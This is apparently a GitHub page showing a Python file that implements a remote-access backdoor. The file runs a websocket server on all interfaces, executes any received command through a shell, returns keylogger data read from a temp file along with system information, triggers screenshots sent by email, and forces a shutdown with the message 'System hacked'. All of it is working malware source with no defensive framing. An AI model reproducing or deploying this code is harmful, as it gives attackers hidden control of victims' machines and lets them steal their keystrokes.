-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path__main__.py
More file actions
executable file
·65 lines (60 loc) · 3.01 KB
/
__main__.py
File metadata and controls
executable file
·65 lines (60 loc) · 3.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import asyncio
import websockets
import subprocess
import os
import json
import screenshot
import platform
import tempfile
def getData():
if platform.system().lower() == "linux":
path=tempfile.gettempdir()+"/log.sys"
if platform.system().lower() == "windows":
path=tempfile.gettempdir() + "\\log.sys"
f = open(path);
rd = f.read()
f.close()
return rd
async def time(websocket, path):
while True:
data = await websocket.recv()
standardOutput = "Command Line Output"
standardError = "Command Line Error output"
if data == '__shutdownSystem':
if platform.system().lower() == 'windows':
cmd = subprocess.Popen("shutdown -s -t 10",shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
exit()
if platform.system().lower() == 'linux':
cmd = subprocess.Popen("poweroff",shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
cmd = subprocess.Popen("shutdown -h +1 'System hacked ... Shutting down'",shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
exit()
###########################################
if data == '__screenshotEmail':
await websocket.send(screenshot.screeshotEmail())
elif data == '__getLog':
response = {"status":"Key log data in modal","stdout":standardOutput,"stderr":standardError,"dir":str(os.getcwd()),"logData":getData(),"systemInfo":platform.platform()}
response = json.dumps(response)
await websocket.send(response)
elif data[:2] == 'cd':
os.chdir(data[3:])
response = {"status":"dir changed","stdout":standardOutput,"stderr":standardError,"dir":str(os.getcwd()),"logData":"ę","systemInfo":platform.platform()}
response = json.dumps(response)
await websocket.send(response)
else :
cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
standardOutput = str(cmd.stdout.read(),"utf-8")
standardError = str(cmd.stderr.read(),"utf-8")
status = "OK"
response = {"status":status,"stdout":standardOutput,"stderr":standardError,"dir":str(os.getcwd()),"logData":"ę","systemInfo":platform.platform()}
response = json.dumps(response)
await websocket.send(response)
##################################################
# output_bytes = cmd.stdout.read() + cmd.stderr.read()
# output_str = str(os.getcwd()) + '>' + str(output_bytes, "utf-8")
# await websocket.send(output_str)
# standardOutput = str(cmd.stdout.read(),"utf-8")
# standardError = str(cmd.stderr.read(),"utf-8")
if __name__ == '__main__':
start_server = websockets.serve(time, '0.0.0.0', 5678)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()